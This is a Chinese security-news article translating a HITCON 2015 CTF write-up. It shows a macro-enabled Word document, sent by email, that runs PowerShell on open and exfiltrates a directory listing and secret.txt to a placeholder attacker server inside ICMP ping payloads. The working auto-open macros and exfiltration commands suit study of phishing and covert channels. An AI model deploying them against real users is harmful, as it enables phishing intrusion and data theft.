freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课
FreeBuf+小程序

FreeBuf+小程序

官方公众号企业安全新浪微博

国内领先的互联网安全新媒体,同时也是爱好者们交流与分享安全技术的社区

CTF writeup:HITCON - PhishingMe
2015-10-23 15:30:45

如果你发送一个主题为"HITCON 2015"的.doc文档我会打开!
在我的文件系统中找到flag
注:我会为你开启宏^_________________^
phishing.me.hitcon.2015@gmail.com.

PhishingMe有趣的介绍告知我们可以在.doc中定义一个VBScript宏钓鱼,Here we go!

准备恶意文件

第一件事,我们需要一个Microsoft Word,这个 .doc文件需要在打开的时候自动运行脚本。过程如下:

创建一个.doc文件。并从开发选项单中找到宏选项

创建一个新的宏

我们创建的这个宏需要尝试通过cmd.exe运行一个简单的命令

Sub Auto_Open()     
    Call Debugging 
End Sub 

Sub AutoOpen()     
    Call Debugging 
End Sub 

Public Function Debugging() As Variant     
    Set objShell = CreateObject("Wscript.Shell")     
    strCmd = "cmd.exe /c ""ping SERVER_IP"""     
    Set objExec = objShell.Exec(strCmd) 
End Function

把这些放入宏窗口并保存

为了测试命令是否执行,我们来看看我们这边的ping请求:

tcpdump -nXX icmp

保存.doc,重新打开它,然后在服务器上看看ICMP返回的echo request:

10:25:49.351725 IP MY-TEST-IP > MY-IP: ICMP echo request, id 1, seq 21, length 40

Shweet!.doc文件在我们这端是正常运行的,我们再来看看在目标端是否正常运行。接着我们将.doc文件发送到phishing.me.hitcon.2015#gmail.com,等一会之后在来看看通信。

10:29:21.411226 IP VICTIM-IP > MY-IP: ICMP echo request, id 1, seq 21, length 40

命令正常执行,接下来我们该做什么呢?

反复试验

首先试试了常见的CTF比赛策略:上传Shell然后再找flag。我们可以尝试以下使用来自PowershellEmpire的Powershell RAT。经过30 - 45分钟的测试,我们意识到回调函数并未从目标机器传递到我们的服务器上,即使他们运行在本地测试环境中。这其中肯定存在防火墙或者是其他东西阻止这些出站流量。但是我们已经接收到来自服务器的流量...

填充FTW

我们知道ICMP的echo requests已经传到我们的服务器,同时我们还能通过VBScript执行命令。那么这里是否存在什么东西发送ping....Powershell啊?!(我非常兴奋,这是我第一次在CTF中使用Powershell)下面我们就来看看如何发送ICMP的echo request

Microsoft页面对System.Net.NetworkInformation.Ping的定义如下:

似乎我们需要IP address, timeout, 以及a buffer作为参数?

下面我们再来看看ICMP echo request的射频图

事实证明,ICMP echo request中有一个数据缓冲区,这可以通过在第三个参数Send函数中进行设置

在Powershell中调用这个函数:

(New-Object System.Net.NetworkInformation.Ping).Send(server_ip, timeout, buffer)

理论上我们可以通过缓冲区域的命令结果,并从tcpdump输出中看到结果。我们通过ICMP做一个快速dir

powershell "$dir=dir; 
(New-Object System.Net.NetworkInformation.Ping).Send('SERVER_IP', 1000, $dir)"

在VBScript中替换这个命令应该能够成功

Sub Auto_Open()     
    Call Debugging 
End Sub 

Sub AutoOpen()     
    Call Debugging 
End Sub 

Public Function Debugging() As Variant     
    Set objShell = CreateObject("Wscript.Shell")     
    strCmd = "powershell ""$dir=dir;(New-Object System.Net.NetworkInformation.Ping).Send('OUR_SERVER_IP', 1000, [system.Text.Encoding]::UTF8.GetBytes($dir)"""     
    Set objExec = objShell.Exec(strCmd) 
End Function

丢给目标,得到非常有趣的结果:

10:10:00.816080 IP VICTIM_IP > OUR_SERVER_IP: ICMP echo request, id 1, seq 19, length 75 
0x0030:  6773 2050 726f 6772 616d 2046 696c 6573  gs.Program.Files 
0x0040:  2050 726f 6772 616d 2046 696c 6573 2028  .Program.Files.( 
0x0050:  7838 3629 2055 7365 7273 2057 696e 646f  x86).Users.Windo 
0x0060:  7773 2073 6563 7265 742e 7478 74         ws.secret.txt

secret.txt是重点啊,将dir替换为type secret.txt,看看有没有啥好结果:

Sub Auto_Open()     
    Call Debugging 
End Sub

Sub AutoOpen()     
    Call Debugging 
End Sub 

Public Function Debugging() As Variant     
    Set objShell = CreateObject("Wscript.Shell")     
    strCmd = "powershell ""$dir=type secret.txt;(New-Object System.Net.NetworkInformation.Ping).Send('OUR_SERVER_IP', 1000, [system.Text.Encoding]::UTF8.GetBytes($dir)"""     
    Set objExec = objShell.Exec(strCmd) 
End Function

结果

10:11:35.383781 IP VICTIM_IP > OUR_SERVER_IP: ICMP echo request, id 1, seq 20, length 52  
... 
0x0020:  .... .... .... .... .... 6869 7463 6f6e  hitcon 
0x0030:  7b6d 3463 7230 5f6d 6131 7761 7265 5f31  {m4cr0_ma1ware_1 
0x0040:  735f 6d34 6b31 6e67 5f61 5f63 306d 6562  s_m4k1ng_a_c0meb 
0x0050:  3463 6b21 217d                           4ck!!}

在这里我们找到

hitcon{m4cr0_ma1ware_1s_m4k1ng_a_c0meb4ck!!}

很酷的一个挑战,特别是使用PowerShell

更多的有关ping exfiltration信息:here

这关的相关代码:github

* 参考来源:ctfhacker,编译/FB小编鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

本文作者:, 转载请注明来自FreeBuf.COM

# hitcon # CTF # Writeup # PhishingMe
被以下专栏收录,发现更多精彩内容
+ 收入我的专栏
评论 按时间排序

登录/注册后在FreeBuf发布内容哦

相关推荐
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦